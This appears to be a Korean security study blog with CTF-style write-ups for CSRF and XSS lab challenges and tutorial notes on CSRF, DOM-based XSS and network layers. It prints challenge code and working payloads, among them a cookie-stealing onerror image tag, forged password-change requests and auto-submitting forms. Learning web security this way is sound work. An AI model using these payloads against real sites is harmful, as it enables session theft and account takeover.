브라우저에 저장된 쿠키의 sessionid값을 가져오고 이걸 세션스토리지에서 보고 해당하는 값을 가져오는 걸로 보인다.

그럼, admin 세션은 어디서 언제 set?

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

/flag를 보면

POST요청 시

요청에서 param 값을 가져오고

session_id도 랜덤값으로 생성해 이값을 admin의 세션으로 스토리지에 저장한다.

그리고 해당 세션값을 쿠키로 check_csrf에 넘겨주고

check_csrf에서는

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

read_url로 반환하고 있고

/vuln은 보면 앞에 문제들과 마찬가지로

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

xss필터링은 걸려있지만 요청에 param값을 별다른 필터없이 반환하고 있음

이 페이지의 취약한 점을 이용해 param값을 조작하면 admin의 password를 알아내거나, 조작할 수 있을 것이고,

그래서

/change_password를 보면

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host="0.0.0.0", port=8000)

pw값을 요청 쿼리의 pw라는 이름의 값을 그대로 가져오고있고,

동시에 브라우저에 저장된 세션도 가져오면서

username은 해당 세션에 대한 값으로 설정하고

최종적으로 해당 username의 password를 pw값으로 변경하는 것을 볼 수 있다.

그럼, 위 코드들을 종합해보면

결국 /vuln의 param값이 그대로 반환되는 취약점과

/flag에서 POST요청을 하면 admin세션이 발행된다는 점, check_csrf로 이값이 넘어간다는 점을 보면

/flag에서 param 값에 <img src = "/change_password?pw=1234">이런식으로 값을 넣는다면,
admin의 password를 내가 입력한 pw값으로 조작이 가능하고, login을 할 수 있어진다,,!

flag를 도출했다.

정리를 해보면,

- /vuln이 사용자가 넣은 parma값을 html에 그대로 반환하는 취약점을 이용

- 위 취약점을 이용해 <img src="change_password?pw=1234>태그를 삽입
- /flag에서 생성된 admin 세션을 가진 셀리늄봇이 /vuln페이지를 방문하고

- admin세션을 가진 봇이 pw조작 요청을 자동으로 보내면서 admin세션도 같이 전송할 것이고, 그럼 서버가 admin사용자로 인식해 password조작이 가능해진다,,!

결국 admin 세션을 가진 셀리늄 봇에게 비밀번호 변경 요청을 대신 보내게 만드는 csrf에 대한 문제,,!

csrf-1

maru_ — Thu, 4 Jun 2026 21:43:13 +0900

CSRF에 대해 제대로 이해했으면, 쉽게 풀 수 있는 기본문제다

먼저, 문제 코드부터 살펴보면,

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

read_url 함수는 이전 xss문제들에서와 동일하게 url과 쿠키를 받아서 동작을 자동으로 수행해주는 봇에 대한 함수이고,

문제의 핵심은

가장 마지막에 있는 함수인

admin_notice_flag() 인걸로 보인다.

코드를 살펴보면

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

127.0.0.1 (로컬호스트)를 사용하고

userid = admin이면

memo_text에 [Notice] flag is {flag} 를 기록하는 것을 볼 수 있다.

실제로, read_url을 보면 127.0.0.1(로컬호스트)를 사용하고 있고,

userid 같은 경우에는 사실상 어떤 부가적인 인증없이 userid 값이 admin이면 되는 것 같다.

그리고 /vuln 부분을 보면 xss 필터링이 걸려있지만, 3개의 태그에 대해 한정적이기에 이 문제에 대해서는 큰 영향력?이 있다고 할 수 없을 거 같다.

다시 /admin/notice_flag 로 돌아가서 보면

단순하게 userid=admin이면 될 것 같아 보이고

그럼 이걸 어떻게 보낼 수 있을까? 보면

request.args.get 으로 url파라미터의 인자에서 이름이 userid인 것의 값이 admin이면 되니까,

url을 사용해서 파라미터에 userid=admin을 담아 요청을 보내면 될 것 같다.

그래서 필터링에 걸리지 않는 img src를 이용해

<img src="http://127.0.0.1:8000/admin/notice_flag?userid=admin">

요청을 전송해주면,,?

flag가 도출되는 것을 볼 수 있다!

음..근데 이게 왜 CSRF일까,,? 단순히 파라미터값을 이용해 요청을 보낸 거 같은뎅,,

CSRF 자체가 꼭 로그인된 페이지의 쿠키와 같은 인증 권한을 악용하는 것에 국한된 것이 아니라
위 문제에서 처럼 127.0.0.1(로컬호스트)의 주소를 이용하는 서버와 같은 것도 특정 권한으로 큰 맥락으로 봐야 하는 것임

그러니까, 정리하면

내가 직접 /admin/notice_flag?userid=admin 여기에 요청을 한 게 아니

이 HTML을 /vuln에 반사시키고, 셀리늄 봇 브라우저가 이미지를 불러오게 하면서 요청을 보내게 만들었음

쉽게 말하면

"피해자 브라우저가 대신 요청을 보내게 만든 것"이 핵심인 것..! --> csrf의 특징

XSS, CSRF 두개 다 요청이 필요하지만,

XSS는 요청의 결과로 피해자 브라우저에서 코드가 실행되는 것이 핵심이고

CSRF는 피해자 브라우저의 권한,상태를 이용해서 특정 요청 자체를 보내게 만드는 것이 핵심이다

결론적으로

/admin/notice_flag의 페이지는 누구나 접근이 가능해, userid 파라미터엔 admin 값을 넣는 것도 누구나 가능

그치만, IP주소는 조작할 수 없고, 로컬호스트로만 접속할 수 있기에 특정권한이라고 볼 수 있다,,

그래서,, CSRF..!

CSRF(Cross-Site Request Forgery)

maru_ — Thu, 4 Jun 2026 20:39:48 +0900

<form aciton="https://maru.com/change-email" method="POST"
  <input type="hidden" name="email" value="attacker@maur.com">
 </form>
 
 <script>
   document.forms[0].submit();
 </script>

CSRF(Cross-Site Request Forgery)

사이트 간 요청 위조

- 사용자가 어떤 사이트에 로그인된 상태를 이용해서, 공격자가 사용자의 브라우저로 하여금 원치 않는 요청을 보내게 만드는 공격

csrf의 흐름을 간단하게 살펴보면

1. maru 사이트에 로그인함

2. 브라우저에 maru사이트 쿠키 저장됨 (ex: session=maru123)

3. 이 상태에서 사용자가 공격자 사이트에 접속함

4. 공격자 사이트 HTML/JS가 maru사이트로 요청을 발생시킴

예를들면,,

- <img src="https://maru.com/delete">

- location.href = "https://maru.com/chage?email=ina~

- 자동 submit form

5. 브라우저는 요청 목적지가 maru.com인 걸 보고 maru.com의 쿠키를 자동 첨부

6. maru사이트 서버가 쿠키만 보고 로그인된 사용자의 요청으로 보고 요청을 처리하면 피해 발생

GET / POST

GET
- 보통 서버에서 데이터를 가져올 때 사용

예를들어서

<form action="/search" method="GET>
  <input name="q">
  <button type="submit">검색</button>
 </form>

이런 검색 기능이 있고

사용자가 검색창에 xss를 입력하고 검색하면 브라우저는

/search?q=xss 요런 주소로 이동한다

서버에서는 q=xss 라는 값을 받은 것,,

GET의 특징
- URL에 데이터가 보인다

--> 그래서 주소를 복사해서 다른 사람에게 보내도 같은 검색 결과를 볼 수 있음

예를 들면, 우리가 네이버 검색 결과 url을 공유하거나 이런것들

그래서, GET은

- 검색하기

- 게시글 조회

- 상품 목록 보기

- 페이지 이동

- 필터 / 정렬 적용

과 같은 데이터 조회 기능에 잘 어울린다

POST

- 보통 서버에 데이터를 제출하거나 상태를 바꿀 때 사용

예를들어서

<form action="/change-email" method="POST">
  <input name="email">
  <button type="submit">변경</button>
</form>

이메일 변경 기능이 있는 경우에 이렇게 폼을 작성하고

사용자가 새로운 이메일 주소를 입력하고 제출하면 브라우저는

POST /change-email HTTP/1.1
Host: maru.com
Cookie: session=abc123

email=ina@maru.com

이런 요청을 서버에 보내는데

여기에서 GET과 다르게 데이터가 url이 아닌 요청 body 안에 들어간다는 것이다

그래서 POST요청은

주소창에 /change-email 이렇게만 보이고

데이터 email=ina@maur.com은 요청 본문에 들어간다

POST의 특징

- 서버의 상태를 바꾸는 기능에 어울림 (주로 제출, 생성, 변경 같은 것들)

- 데이터는 요청 본문에 들어감

그래서 보통

- 로그인

- 회원가입

- 댓글 작성

- 게시글 작성

- 비밀번호 변경

- 이메일 변경

- 결제 요청

- 파일 업로드

같은 기능에서 쓰임

로그인 예시 코드를 보면

<form action-"/login" method="POST">
  <input name="id">
  <input name="pw" type="password">
  <button>로그인</button>
</form>

이런 코드로 쓰이고

여기에

id = maru

pw = 1234

입력을 하면

POST /login HTTP/1.1
Host: example.com

id=maru&pw=1234

이런식으로 요청이 발생하고

URL은 보통 /login 이렇게만 보임

이 2개 method 모두 보안적으로 보면

GET = URL에 데이터가 노출되므로 민감정보 전달에 부적절

POST = URL에 안 보이지만 암호화는 아님

--> HTTPS가 있어야 네트워크에서 보호된다

CSRF와 연결해보면,,

GET은

<img src="https://a.com/delete-account">

이미지 태그로 브라우저가 GET요청을 보내게 함

<img src> 태그 만으로도 요청이 나갈 수 있어 위험함

=> 그래서 중요한 상태 변경 기능이 GET이면 위험!

마찬가지로 POST도 위험한데

<img src>는 쓸 수 없지만

<form action="https://a.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@example.com">
</form>

<script>
  document.forms[0].submit();
</script>

이렇게 form으로 자동 요청을 제출할 수 있다.

**forms[0]의 의미는..?**

- 현재 HTML 문서 안에 있는 form들 중 첫 번째 form을 의미

예를들어서,

<form action="/login" method="POST"
  <input name="id">
</form>

<form action="/search" method="GET">
  <input name="q">
</form>

HTML이 이렇게 있을 때

document.form[0]  // 첫 번째 form: /login
document.form[1] //  두 번째 form: /search

이런식으로,, 인덱스로 순서 표현

인덱스말고 form에 이름 붙여서 쓰면 더 명확하게 쓸 수 있음

<form id="maru" action="https://maru.com/change-email" method="POST">
  <input type="hidden" name="email" value="attacker@maru.com">
</form>

<script>
  document.getElementBtyId("maru").submit();
</script>

요런식으로,, id=이름 붙여서 하면 더 명확

CSRF를 정리해보면,

사용자가 로그인한 사이트의 쿠키가 브라우저에 저장되어 있다는 점을 악용해서,

사용자가 공격자 사이트에 접속했을 때 공격자 사이트가 해당 사이트로 요청을 보내게 만들고, 이때 브라우저가 로그인 쿠키를 자동으로 첨부하면서 서버가 이를 정상 요청으로 처리하게 만드는 공격이다

1. 브라우저에 로그인 쿠키가 저장돼 있음

2. 공격자 사이트가 해당 사이트로 요청을 보내게 만듦

3. 브라우저가 해당 사이트 쿠키를 자동으로 붙임

4. 해당 사이트가 그 요청을 정상 요청처럼 처리해버림

XSS랑 비교해서 정리해보면,

XSS

- 피해자 브라우저에서 공격자 스크립트가 실행

- 주로 브라우저 내부 동작을 장악하는 느낌

- 쿠키 탈취, 화면 변조, 악성 요청 전송 ,,이런것들

CSRF

- 피해자 브라우저가 로그인된 상태의 쿠키를 가지고 요청을 보내게 됨

- 주로 로그인된 사용자의 권한을 악용하는 느낌

- 이메일 변경, 글 작성, 회원 탈퇴 같은 요청 유도 가능

네트워크 보안 [계층구조1]

maru_ — Wed, 3 Jun 2026 17:54:26 +0900

- 누가 누구한테 어떻게 통신하는가?

- 그 과정에서 어디를 공격할 수 있는가?

- 그걸 막기 위해 어떤 장비나 프로토콜을 쓰는가?

네트워크

-> 컴퓨터기리 데이터를 주고받기 위한 연결 구조

네트워크 보안

-> 네트워크 통신 과정에서 정보가 안전하게 오가도록 보호하는 것

- 기밀성 : 허가받은 사람만 볼 수 있어야 한다

- 무결성 : 중간에 내용이 변조되면 안 된다

- 가용성 : 필요할 때 서비스를 사용할 수 있어야 한다

=> 네트워크 공격도 대부분 이 셋 중 하나를 깨뜨리는 방식이다.

ex)

- 스니핑 -> 기밀성 침해

- 패킷 변조 -> 무결성 침해

- DDoS 공격 -> 가용성 침해

OSI 7계층

- 7계층 : 응용 계층 Application

- 6계층 : 표현 계층 Presentation

- 5계층 : 세션 계층 Session

- 4계층 : 전송 계층 Transport

- 3계층 : 네트워크 계층 Network

- 2계층 : 데이터링크 계층 Data Link

- 1계층 : 물리 계층 Physical

1계층 : 물리 계층

-> 물리적인 전송을 담당

-> 데이터가 아직 의미 있는 정보x, 0과 1의 신호로 흐르는 단계

-> 데이터 단위 : 비트(Bit)

- 전기 신호

- 광 신호

- 케이블

- 허브

- 리피터

2계층 : 데이터링크 계층

-> 같은 네트워크 안에서 데이터를 전달하는 계층

-> 대표적으로 MAC 주소를 사용

- Ethernet

- MAC 주소

- ARP
- Switch

- VLAN

3계층 : 네트워크 계층

-> 서로 다른 네트워크 간의 통신을 담당

내 컴퓨터 -> 네이버 서버

내 컴퓨터 -> 구글 서버

회사 내부망 -> 외부 인터넷

이런 식으로 다른 네트워크로 넘어가는 순간 3계층이 중요

- IP

- ICMP

- Routing

- Router

- NAT

장비 : 라우터

주소 : IP 주소

데이터 단위 : 패킷

4계층 : 전송 계층

-> 데이터를 어떤 프로그램으로 보낼지를 담당

-> 포트 번호가 중요함

예를들어서, 한 컴퓨터에서 동시에 여러 프로그램

- 웹 브라우저

- 카카오톡

- 게임

등등이 인터넷을 쓴다고 한다면,

IP 주소만 있으면 어느 컴퓨터로 보낼지는 알 수 있는데,

그 컴퓨터 안에서 어느 프로그램으로 보낼지는 알 수 없음

그래서 포트 번호가 필요함!

- HTTP : 80

- HTTPS : 443

- FTP : 20, 21

- SSH : 22

- DNS : 53

- SMTP : 25

프로토콜 : TCP, UDP

데이터 단위 : 세그먼트, 데이터그램

5계층 : 세션 계층

-> 연결 상태, 즉 대화의 시작과 종료를 관리

- 로그인 상태 유지

- 연결 수립

- 연결 종료

- 세션 관리

이런 개념과 관련이 있음

6계층 : 표현 계층

-> 데이터 표현 방식을 담당함

- 암호화

- 압축

- 인코딩

- 디코딩

- 문자 코드 변환

7계층 : 응용 계층

-> 사용자가 직접 사용하는 서비스와 가장 가까운 계층

- HTTP

- FTP

- SMTP

- POP3

- IMAP
- DNS

- Telnet

- SSH

- SNMP

TCP/IP 4계층

-> 인터넷 통신 구조를 4단계로 나눈 모델

-> 실제 인터넷 통신을 설명할 때는 OSI계층보다 많이 씀

OSI 7계층, TCP/IP 4계층 비교

OSI 7계층 TCP/IP 4계층
-----------------------------------------
응용/표현/세션 계층 응용 계층
전송 계층 전송 계층
네트워크 계층 인터넷 계층
데이터링크/물리 계층 네트워크 접근 계층

1계층 : 네트워크 접근 계층

-> OSI의 1계층(물리계층) + 2계층(데이터 링크 계층)

-> 실제 네트워크 장비를 통해 데이터를 보내는 역할

-> 같은 네트워크 안에서의 통신

- Ethernet

- MAC 주소

- LAN

- 스위치

- 허브

- ARP

2계층 : 인터넷 계층

-> OSI의 3계층(네트워크 계층)에 해당

-> 핵심은 IP주소와 라우팅

- IP

- ICMP

- ARP

- RARP

3계층 : 전송 계층

-> OSI의 4계층(전송 계층)

-> TCP, UDP

-> 핵심은 포트번호

IP 주소가 어느 컴퓨터로 보낼지?를 정한다면

포트 번호는 그 컴퓨터 안의 어느 프로그램으로 보낼지를 정함

4계층 : 응용 계층

-> 사용자가 실제로 접하는 서비스들이 있는 계층

- HTTP 80

- HTTPS 443

- FTP 20, 21

- SMTP 25

- POP3 110

- IMAP 143

- DNS 53

- Telnet 23

- SSH 22

- SNMP 161, 162

- DHCP 67, 68

캡슐화와 역캡슐화

-> 네트워크 통신에서 데이터는 그냥 한 덩어리로 가는 게 아님

-> 각 계층을 내려가면서 헤더가 붙음 --> 이게 캡슐화임

캡슐화

-> 데이터를 보낼 때 각 계층에서 필요한 정보를 앞에 붙이는 과정

예를들어서, 내가 네이버에 접속한다고 할 때

GET / HTTP/1.1
Host: www.naver.com

처음, 브라우저가 이런 요청을 만들고

HTTP 데이터로 응용 계층 데이터

근데, 이 HTTP 데이터만 가지고는 인터넷으로 못 보내는데

- 어느 프로그램으로 보낼 건데?

- 어느 컴퓨터로 보낼 건데?

- 같은 네트워크 안에서는 누구한테 먼저 보낼 건데?

- 전기 신호로는 어떻게 보낼 건데?

와 같은 정보가 부족함

그래서 아래 계층들이 차례대로 필요한 정보를 붙여줌

그래서 보면,

1단계: 응용계층(4계층)

- 브라우저가 HTTP 요청을 만들고 -> 웹 페이지 주세요 만 있음

[HTTP 데이터]

2단계 : 전송계층(3계층)

- 운영체제의 TCP 기능이 '이 데이터는 상대 서버의 443번 포트로 보내야 함!' 이라고 말해줌

[TCP 헤더][HTTP 데이터]

여기에는 보통

- 출발지 포트

- 목적지 포트 -> 이게 중요함

- 순서 번호

- ACK 번호

- TCP 플래그

같은 정보가 들어감

3단계 : 인터넷 계층

-IP계층이 말해줌 ' 이 데이터는 네이버 서버 IP 주소로 보내야 함!'

[IP 헤더][TCP 헤더][HTTP 헤더]

여기에는 보통

- 출발지 IP 주소

- 목적지 IP 주소

- TTL

- 프로토콜 정보

같은 정보가 들어감

4단계 : 네트워크 접근 계층

-> 이제 이 데이터가 내 컴퓨터 밖으로 나가려면, 보통 먼저 공유기에게 가야 함

-> 그래서 Ethernet 헤더가 붙음

[Ethernet 헤더][IP 헤더][TCP 헤더][HTTP 데이터]

여기에는 보통

- 출발지 MAC 주소

- 목적지 MAC 주소 --> 최종 네이버 서버 MAC이 아니라, 지금 바로 보내야 할 다음 장비의 MAC 주소

같은 정보가 들어감

정리하면, 캡슐화는

응용 계층에서 만든 데이터를 전송 계층이 감싸고, 인터넷 계층이 또 감싸고, 네트워크 접근 계층이 또 감싸는 것,,

그럼, 반대로 역캡슐화는

-> 캡슐화한 걸 반대로 ,,!

처음에 [Ethernet 헤더][IP 헤더][TCP 헤더][HTTP 데이터] 이렇게 데이터가 도착하면

서버가

하나씩 확인하며 벗김

Ethernet 헤더 확인
→ 이 MAC 주소 나 맞네? 통과

IP 헤더 확인
→ 이 IP 주소 나 맞네? 통과

TCP 헤더 확인
→ 443번 포트 서비스로 보내야겠네

HTTP 데이터 확인
→ 아, 사용자가 웹페이지 요청했구나

이게 역캡슐화..!

- 계층이 내려간다

--> 데이터를 실제 네트워크로 보내기 위해 헤더를 하나씩 붙인다 (캡슐화)

- 계층이 올라간다

--> 받은 데이터에서 헤더를 하나씩 벗기고 원래 내용을 해석한다 (역캡슐화)

결국, 그러니까 기본적으로 계층별로 담당하는 질문이 다른다고 보면 쉬움

응용 계층(4계층):
무슨 요청이야?
→ HTTP GET 요청

전송 계층(3계층):
어느 프로그램으로 보내?
→ 443번 포트로 ㄱㄱ

인터넷 계층(2계층):
어느 컴퓨터로 보내?
→ 목적지 IP로 ㄱㄱ

네트워크 접근 계층(1계층):
지금 당장 누구한테 넘겨?
→ 공유기 MAC 주소로 ㄱㄱ

물리 계층:
어떻게 실제로 보낼래?
→ 전기 신호/무선 신호로 ㄱㄱ

따라서 계층은 따로따로가 아니라

데이터가 목적지까지 가기 위해 필요한 질문을 순서대로 해결하는 구조 라고 보면 된다

xss-2

maru_ — Tue, 2 Jun 2026 02:53:20 +0900

xss-1에 이어서 xss-2 문제를 풀어봤다

먼저, 전체 문제 코드를 살펴보면

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html") 


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

xss-1 과 다른점이 있다면

각 페이지마다

render_template을 사용해서 , 전달되는 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 xss-1에서 와 같은 reflected xss는 발생하지 않는다는 것 이다

그럼, 어떤 경로를 통해 flag를 탈취할 수 있을까,,

일단 xss-1와 마찬가지로 /memo 페이지를 통해 memo 파라미터에 값을 화면에 출력하고 있고

read_url의 url은 check_xss에서 vuln페이지에 접근하는 url을 만들어내고 있다

그럼 결론적으로 생각해보면

read_url함수에 vuln페이지에 접근하는 url과 사용자 쿠키가 전달되고 있는 것이니까,

먼저 vuln페이지에 어떤 취약점이 있는지 살펴보도록 하자,,

개발자도구를 통해서,, html과 js를 살펴보면

스크립트 태그에 아까 DOM-based xss에서 공부했던 source와 sink가 있는 걸 볼 수 있었고

이를 통해 실제로 id=vuln쪽의 스크립트가 수정되는지 테스트 해보면

xss-1에서와 같이 memo 페이지를 통해 출력된 걸 확인할 수 있고

이미지 태그를 활용해

<img src="ina" onerror="location.href='/memo?memo=maruru'"> 간단한 문자열 조작으로 테스트를 해보면

스크립트가 변경되는 걸 볼 수 있다.

그럼 이부분이 안전하게 처리가 안되고 취약한 부분인걸 확인했으니 공격을 위한 조작을 해보자

check_xss()의

url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"

이 이러니까

url = http://127.0.0.1:8000/vuln?param=<img src="ina" onerror="location.href='/memo?memo='+document.cookie">를 이렇게 됨,,그럼

x -> param=<img src="ina" onerror="location.href='/memo?memo='+document.cookie">가 될거고

x.get('param')이니까

<img src="ina" onerror="location.href='/memo?memo='+document.cookie"> 이고

그럼 결국

</script>

이렇게 되면서 /memo 페이지에 쿠키값이 flag가 기록되게 된다!

DOM-based xss에 대한 문제였다,,!!

DOM-based XSS

maru_ — Tue, 2 Jun 2026 01:18:07 +0900

이번에는 DOM-based XSS에 대해 공부해봐야지

앞에 웹은 어떻게 동작?? 글 마지막 부분에서 <script>태그에 대해 알아보면서 끝냈는데

여기에 이어서 이야기를 시작해보자면,

javascript는 개발자가 작성, 실행은 브라우저가 라는 구조였는데

지금 공부할 DOM-based XSS는 이런 구조에서 발생 하는데,

개발자가 작성한 javascript가 공격자가 조작한 값을 위험하게 처리하면서 문제가 생기는 것!

그럼 일단, DOM에 대해서 알아보자

DOM

- Document Object Model

DOM Tree

브라우저는 HTML을 DOM Tree로 만든다

예를들어서

<html>
  <body>
    <h1>Hello</h1>
    <button id="btn">누르기</button>
    <div id="result"></div>
  </body>
 </html>

브라우저는 이 코드를 단순 문자열이 아니라

document
└── html
    └── body
        ├── h1
        │   └── "Hello"
        ├── button id="btn"
        │   └── "누르기"
        └── div id="result"

이렇게 내부적으로 트리 구조로 바꿔서 관리를 하고

이것이, DOM Tree 이다

정리하면, 브라우저가 HTML 문서를 JavaScript로 찾고, 읽고, 수정할 수 있게 만들어 둔 객체, 트리 구조라고 보면 되겠다

이렇게, 브라우저가 HTML을 DOM Tree로 만들어두면, JavaScript는 원하는 요소를 쉽게 찾을 수 있다,,

돌아가는 순서를 정리 해보면

HTML 원본 -> 브라우저가 DOM Tree 생성 -> JavaScript가 DOM Tree에서 요소 찾기 -> 요소의 내용, 속성, 스타일, 이벤트 등 수정 -> 화면에 반영

결론적으로, 웹페이지가 단순히 HTML 파일을 보여주는 것이 아니라, 브라우저가 HTML을 구조화하고 JavaScript가 그 구조를 계속 조작하면서 동작하는 것이다

DOM-based XSS에 대해 말하기에 앞서,

innerHTML, textContent에 대해서 알아보자

textContent : 입력값을 글자로 넣음

innerHTML : 입력값을 HTML로 해석해서 넣음

먼저,

textContent

result.textContent = "<b>Hello</b>";

textContent 같은 경우네는 입력값을 그냥 글자로 넣고,

따라서, 화면에는 그대로 <b>Hello</b>가 출력된다 (태그로 해석하지 않는 것이다)

반면,

innerHTML은

result.innerHTML = "<b>Hello</b>";

입력값을 HTML로 해석해서 넣고,

그래서 DOM은

<div id="result"><b>Hello</b></div>

이렇게 바뀌고 화면에 Hello가 굵게 보이게 된다

DOM-based XSS

-브라우저에서 실행되는 JavaScript가 사용자가 조작 가능한 값을 읽고, 그 값을 innerHTML같은 위험한 DOM조작 지점에 넣어서 발생하는 XSS

- 서버가 사용자 입력을 응답 HTML에 위험하게 넣어서 발생하는 stored, reflected xss와 다르게, 프로트엔트 JavaScript가 브라우저 안에서 위험하게 처리해서 발생하는 취약점이다

예를들어서

<!DOCTYPE html>
<html lang="ko">
<head>
  <mete charset="UTF-8">
  <title>DOM XSS Lab</title>
</head>
<body>
  <h1>검색 결과</h1>
  <div id="result"></div>
  
  <script>
    const keyword = location.hash.substring(1);
    document.getElementById("result").innerHTML = keyword;
  </script>
 </body>
 </html>

이런 페이지가 있고

만약, 정상적인 입력이 있다고 한다면

사용자가 아래의 주소로 접속했다면

http://maru.com/dom#hello

브라우저에서

const keyword = location.hash.substring(1); 이부분에 따라

#hello를 가져오고 substring(1)에 따라 #도 제거하고

document.getElementById("result").innerHTML = keyword;

이부분에 따라 id=result인 부분에 hello가 추가되고

<div id="result>hello</div>

이렇게 DOM이 바뀌면서 화면에는 hello가 출력된다

이 예시에서는 그냥 문자열 hello를 출력했기에, 큰문제가 없다

근데 만약, 여기에 공격적인 입력을 한다면?,,

예를들어서

공격자가 링크에 hello가 아닌

http://maru.com/dom#<img src=x onerror=alert(1)>

이런 값을 넣는다면

const keyword = location.hash.substring(1);

이 부분에 따라 JavaScript가

keyword = "<img src=x onerror=alert(1)>";

이렇게 읽을 것이고

그럼 이 값이 innerHTML에 들어가면서

document.getElementById("result").innerHTML = "<img src=x onerror=alert(1)>";

이렇게 되고,

innerHTML은 문자열을 HTML로 해석하니까 DOM은

<div id="result">
  <img src=x onerror="alert(1)">
</div>

이렇게 조작될 것이고,

src=x는 존재하지 않는 이미지 주소로, 이미지 로딩이 실패하면서 onerror 이벤트가 실행될 것이다!

그래서 결국 브라우저에서 alert(1)이 뜰것이다,,

정리를 해보면,

피해자가 조작된 URL 클릭
↓
서버는 정상 HTML/JS를 응답
↓
브라우저가 JavaScript 실행
↓
JavaScript가 location.hash를 읽음
↓
innerHTML에 넣음
↓
브라우저가 HTML로 해석하면서 이벤트 실행

결론적으로, DOM-based XSS는 프론트엔드 JavaScript가 조작 가능한 값을 DOM에 위험하게 넣어서 발생한다!

그럼 이 공격을 할 공격자는 무엇을 보고 DOM XSS를 찾을까,,?

여기서 Source, Sink가 나오는데

Source

-> 공격자가 조작할 수 있는 입력 출처

-> DOM XSS에서 자주 보는 source는,,

location.hash
location.search
location.href
document.URL
document.referrer
localStorage
sessionStorage
postMessage event.data

Sink

-> 값이 들어갔을 때 HTML로 해석되거나 JavaScript 실행으로 이어질 수 있는 위험한 지점

-> 대표적인 sink는,,

innerHTML
outerHTML
document.write()
insertAdjacentHTML()
eval()
setTimeout("문자열")
setInterval("문자열")
setAttribute("onclick",...)

이렇게, Source와 Sink가 있고, 이 2개가 연결이 되면서 공격이 발생하는 것이다.

